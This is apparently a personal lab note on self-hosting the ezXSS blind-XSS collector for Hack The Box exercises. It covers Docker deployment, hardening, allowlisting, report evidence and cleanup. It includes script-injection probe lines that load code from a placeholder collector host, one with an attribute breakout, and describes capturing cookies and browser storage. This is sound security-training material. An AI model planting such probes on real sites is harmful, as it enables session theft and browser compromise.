Blind XSS Tool — ezXSS fas:ClipboardList
Summary ris:Eye
ezXSS is a self-hosted blind-XSS platform for generating probes, receiving browser reports, managing notifications, and controlling how evidence is stored. Its Docker deployment can configure the database and obtain a TLS certificate automatically. For HTB use, keep public registration disabled, allowlist only the active lab domains, minimise collected data, and leave persistent-session features disabled unless a specific authorised lab objective requires them.
[!danger]+ HTB-Only Boundary
fas:TriangleExclamation
- Use ezXSS only in Hack The Box, intentionally vulnerable applications, or systems you own and are explicitly authorised to test.
- Reports may contain cookies, browser storage, DOM content, screenshots, internal URLs, and other sensitive lab data.
- Do not enable public signup, recursive spidering, persistent sessions, or custom post-callback actions for the quick-start workflow.
- See Cross-Site Scripting (XSS) - HTB Cheat Sheet for context selection, safe payload progression, and reporting.
Conceptual Information ris:GlobalLine
When to Use ezXSS
| Requirement | Fit |
|---|---|
| Detailed blind-XSS reports and flexible alerts | Strong fit |
| Strict domain allowlisting | Strong fit |
| Quick DNS/HTTP-only confirmation | Use Blind XSS Tool - Interactsh instead |
| Turnkey screenshot-oriented collector | Compare Blind XSS Tool - XSS Hunter |
| Local testing without TLS | Supported with httpmode=true, but unsuitable for HTTPS HTB pages |
Core Components
- Web application: Provides management, payload, report, and settings interfaces.
- Database: Stores accounts, settings, payloads, and reports.
- Callback endpoint: Receives evidence when a blind-XSS probe executes.
- Optional notifications: Sends email or webhook alerts.
- Optional advanced features: Custom JavaScript, automatic spidering, and persistent sessions; these materially increase impact and are excluded from the basic HTB workflow.
[!warning]+ Dedicated Infrastructure
fas:TriangleExclamation
- Use a dedicated short hostname such as
e.YOUR_DOMAIN.- Do not host ezXSS on a domain used for production, personal email, or unrelated applications.
- Restrict the management interface to trusted source addresses where possible.
- Keep database and screenshot storage encrypted at rest or on an ephemeral lab VPS.
Prerequisites ris:FileList
| Requirement | Recommendation | Check |
|---|---|---|
| Linux server | Dedicated or disposable VPS | uname -a |
| Docker Engine | Current supported release | docker --version |
| Docker Compose | Compose v2 | docker compose version |
| Dedicated hostname | Short public hostname | dig +short e.YOUR_DOMAIN |
| TLS | Automatic Let’s Encrypt or a trusted certificate | Browser and curl |
| Inbound ports | TCP 80 and 443 | Firewall and ss |
| Random database password | Unique high-entropy value | Password manager |
| Optional SMTP/webhook | Lab-only notification destination | Provider configuration |
[!important]+ DNS and TLS Preparation
fas:TriangleExclamation
- Point the hostname to the VPS before starting the automatic certificate flow.
- Ensure TCP
80and443are reachable and not already bound.- Use HTTPS for callbacks from HTTPS pages; browsers commonly block insecure mixed content.
- Take a VPS snapshot or record a rollback point before deployment.
Commands and Implementation ris:Command
1. Preflight the Host
dig +short e.YOUR_DOMAIN
curl -4 https://icanhazip.com
sudo ss -lntp '( sport = :80 or sport = :443 )'
docker --version
docker compose version
[!info]+ Preflight Breakdown
ris:Radar
- DNS should match the VPS public address.
- Ports
80and443should be available unless an intentional reverse proxy owns them.- Docker and Compose must both respond before cloning ezXSS.
2. Clone the Official Repository
git clone https://github.com/ssl/ezXSS.git
cd ezXSS
git status --short
docker compose config --services
[!info]+ Command Breakdown
ris:Command
- Official repository: The project installation wiki uses
ssl/ezXSS.- Clean baseline: Record local changes before updates.
- Compose validation: Prints the service names and detects obvious configuration problems.
3. Create and Harden the Environment File
cp .env.example .env
chmod 600 .env
${EDITOR:-vi} .env
Set at least these values:
dbPassword=GENERATE_A_UNIQUE_RANDOM_PASSWORD
autoInstallCertificate=true
domain=e.YOUR_DOMAIN
httpmode=false
signupEnabled=false
debug=false
useMailAlerts=false
[!info]+ Environment Breakdown
ris:LockPassword
dbPassword: Replace the example with a unique random password; never commit.env.autoInstallCertificate=true: Enables the Docker certificate workflow when DNS and ports are ready.domain: Must match the public hostname used by payloads and TLS.httpmode=false: Enforces the normal HTTPS deployment.signupEnabled=false: Prevents arbitrary public account creation.debug=false: Avoids exposing internal application errors.useMailAlerts=false: Disables mail setup until SMTP is deliberately configured.
[!warning]+ Local HTTP Mode
fas:TriangleExclamation
httpmode=trueis suitable only for isolated local testing.- An HTTP collector generally cannot load from an HTTPS target because of mixed-content blocking.
- Do not use local HTTP mode as the default HTB deployment.
4. Validate and Start the Stack
docker compose config >/dev/null
docker compose up -d
docker compose ps
docker compose logs --tail=150
[!info]+ Startup Breakdown
fas:Terminal
- Configuration check: Stops before deployment when YAML or environment interpolation is invalid.
up -d: Starts the application, database, and supporting services in the background.- Logs: Show certificate, database, web-server, or application initialisation errors.
- The official guide states that the service should become accessible shortly after Docker completes startup.
5. Complete Web Installation
- Browse to
https://e.YOUR_DOMAIN/manage/install. - Create the administrator account with a unique username and password.
- Sign in and verify that the management interface loads over valid HTTPS.
- Confirm that public signup remains disabled.
- Open settings and configure an allowlist containing only the active HTB lab domains.
- Disable screenshot, DOM, browser-storage, and notification fields that are unnecessary for the exercise.
- Leave custom JavaScript, automatic spidering, and persistent mode disabled.
[!success]+ Expected Result
ris:Key
/manage/installis no longer exposed after successful setup.- The management panel requires the new administrator credentials.
- A self-test callback from an isolated page appears in the reports view.
6. Configure HTB Allowlisting
| Setting | Recommended HTB value | Reason |
|---|---|---|
| Allowlist | Exact active lab hostnames | Drops unrelated callbacks |
| Blocklist | Collector hostname and known self-test pages | Prevents noisy self-reports |
| Duplicate handling | Save once or suppress duplicates | Limits storage growth |
| Screenshot storage | Disable unless the objective requires it | Minimises sensitive evidence |
| DOM length | Small bounded value | Reduces report and notification size |
| Browser storage capture | Disable unless explicitly required | Avoids unnecessary sensitive data |
| Public signup | Disabled | Prevents unauthorised collector use |
[!tip]+ Correlation Convention
fas:Lightbulb
- Name each payload after the field and timestamp, such as
support-message-20260808-1530.- Submit one new field at a time.
- Record the exact HTB request next to the payload name.
7. Create and Place a Probe
Copy the generated payload from ezXSS. Its shape will resemble:
<script src="https://e.YOUR_DOMAIN/GENERATED_PAYLOAD_PATH"></script>
For a confirmed double-quoted attribute context:
"><script src="https://e.YOUR_DOMAIN/GENERATED_PAYLOAD_PATH"></script>
[!warning]+ Payload Discipline
fas:TriangleExclamation
- Use the exact generated path from your own instance.
- Match the breakout to the observed HTML or JavaScript context.
- Keep pre-callback and post-callback custom JavaScript empty for the first test.
- Do not enable recursive spidering or broad collection simply because the platform supports it.
8. Interpret the Report
| Evidence | What it proves | Limitation |
|---|---|---|
| Callback time | When the payload executed | Server and browser clocks may differ |
| URI and origin | Where the browser rendered the probe | SPA navigation can alter visible routes |
| Referrer | Prior or embedding page | Referrer policy may redact it |
| User agent and IP | Browser and network context | Does not uniquely identify a user |
| Cookies | JavaScript-readable cookies | HttpOnly values are absent |
| DOM or screenshot | Affected page context | May contain unnecessary sensitive data |
| Local/session storage | Browser-side application data | Collect only when the lab objective requires it |
[!success]+ Evidence Handling
ris:Key
- Correlate the report to its payload name, field, account, and time.
- Export only the minimum evidence needed for the HTB write-up.
- Remove stored lab payloads where the application permits.
- Delete collector reports after verifying the final documentation.
9. Configure Optional Notifications
- Create a lab-only email or webhook destination.
- Enable only the matching notification integration.
- Store tokens outside screenshots, notes, and version control.
- Trigger a self-test and verify that secrets or full DOM data are not copied unnecessarily into the alert.
- Rotate the token after the lab if it was exposed during debugging.
[!warning]+ Notification Leakage
fas:TriangleExclamation
- Email, Slack, Discord, and Telegram alerts move evidence into a second system.
- Prefer a short summary and a link to the restricted collector.
- Never send real third-party session data through consumer notification services.
Higher-Impact Features fas:TriangleExclamation
[!danger]+ Persistent Sessions and ezProxy
fas:TriangleExclamation
- ezXSS can support persistent browser interaction and proxy-style features.
- These features materially extend control over the affected browser and may relay authenticated actions or internal content.
- Keep them disabled for routine blind-XSS confirmation.
- Use them only when a specific HTB lab explicitly requires that impact and stop immediately after capturing the required proof.
- Do not expose proxy listeners publicly or use them against real users.
Operations and Lifecycle ris:FileList
Logs and Health
docker compose ps
docker compose logs --tail=200
docker stats --no-stream
[!info]+ Operational Checks
ris:FileList
- Inspect all services first, then add a service name to narrow the logs.
- Watch disk and database growth when screenshots, DOM, or duplicate reports are enabled.
- Disable unused notifications and advanced features rather than leaving failing integrations active.
Backup
Identify the persistent mounts before copying them:
docker compose config > compose-resolved.yml
docker compose stop
cd ..
tar -czf "ezxss-backup-$(date +%F).tar.gz" ezXSS/.env ezXSS/compose-resolved.yml ezXSS
cd ezXSS
docker compose start
[!warning]+ Backup Handling
fas:TriangleExclamation
- The archive may include database files, credentials, reports, screenshots, and callback data.
- Review
docker compose configfor named volumes that are not stored inside the repository directory.- Encrypt the backup and retain it only until the HTB evidence is verified.
Update
git status --short
git pull --ff-only
docker compose pull
docker compose up -d --build
docker compose ps
docker compose logs --tail=100
[!info]+ Update Breakdown
ris:Command
- Back up the database and
.envfirst.- Review release notes and
.env.examplechanges before restarting.- Re-run a self-test probe after the upgrade.
Stop and Cleanup
Stop the stack while preserving volumes:
docker compose down
Remove Compose-managed volumes only after exporting required evidence:
docker compose down --volumes
[!danger]+ Destructive Cleanup
fas:TriangleExclamation
--volumescan permanently delete the database and reports.- Bind-mounted files and encrypted backups remain separate and require deliberate review.
- Revoke notification tokens and remove the DNS record when the collector is retired.
Troubleshooting ris:FileList
[!failure]+ “You did not setup your config file yet”
fas:CircleXmark
- Confirm
.env.examplewas copied to.env.- Confirm the container can read the file and that it contains valid key/value lines.
- Run
docker compose configand inspect the application logs.
[!failure]+ TLS or Callback Loading Fails
fas:CircleXmark
- Confirm DNS points to the server and TCP
80/443are reachable.- Confirm
domain=e.YOUR_DOMAINandautoInstallCertificate=true.- Inspect certificate-related container logs.
- Do not redirect the generated payload through extra HTTP-to-HTTPS hops without testing the exact URL.
[!failure]+ Database Driver or Connection Error
fas:CircleXmark
- Confirm the database container is healthy and the
.envpassword matches.- Inspect the application and database logs separately.
- For non-Docker Apache/NGINX installations, verify the PHP PDO/MySQL driver and database permissions.
[!failure]+ Screenshot Storage Error
fas:CircleXmark
- Disable screenshots if the lab does not require them.
- Inspect the mounted storage path and container user ownership.
- Avoid world-writable permissions; fix ownership to the documented application user instead.
[!failure]+ HTTPS Probe Works but HTTP Probe Does Not
fas:CircleXmark
- Confirm the generated callback does not redirect unexpectedly.
- Inspect browser Network and Console output.
- Use HTTPS as the default because it works on both secure and many insecure lab pages.
Lessons Learned fas:Lightbulb
- ezXSS is most useful when its collection and notification settings are deliberately reduced to the lab objective.
- Domain allowlisting prevents accidental or unrelated reports from becoming assessment data.
signupEnabled=false, strong admin authentication, and restricted management access are baseline requirements for an exposed collector.- Persistent features change the risk category of the exercise and should never be part of the default blind-XSS workflow.
References fas:BookOpen
- ezXSS Repository
- Official ezXSS Installation Guide
- ezXSS Setting Definitions
- ezXSS Common Errors
- Docker Engine Installation
- Cross-Site Scripting (XSS) - HTB Cheat Sheet
- Blind XSS Tool - XSS Hunter
- Blind XSS Tool - Interactsh
#HTB #WebSecurity #XSS #BlindXSS #ezXSS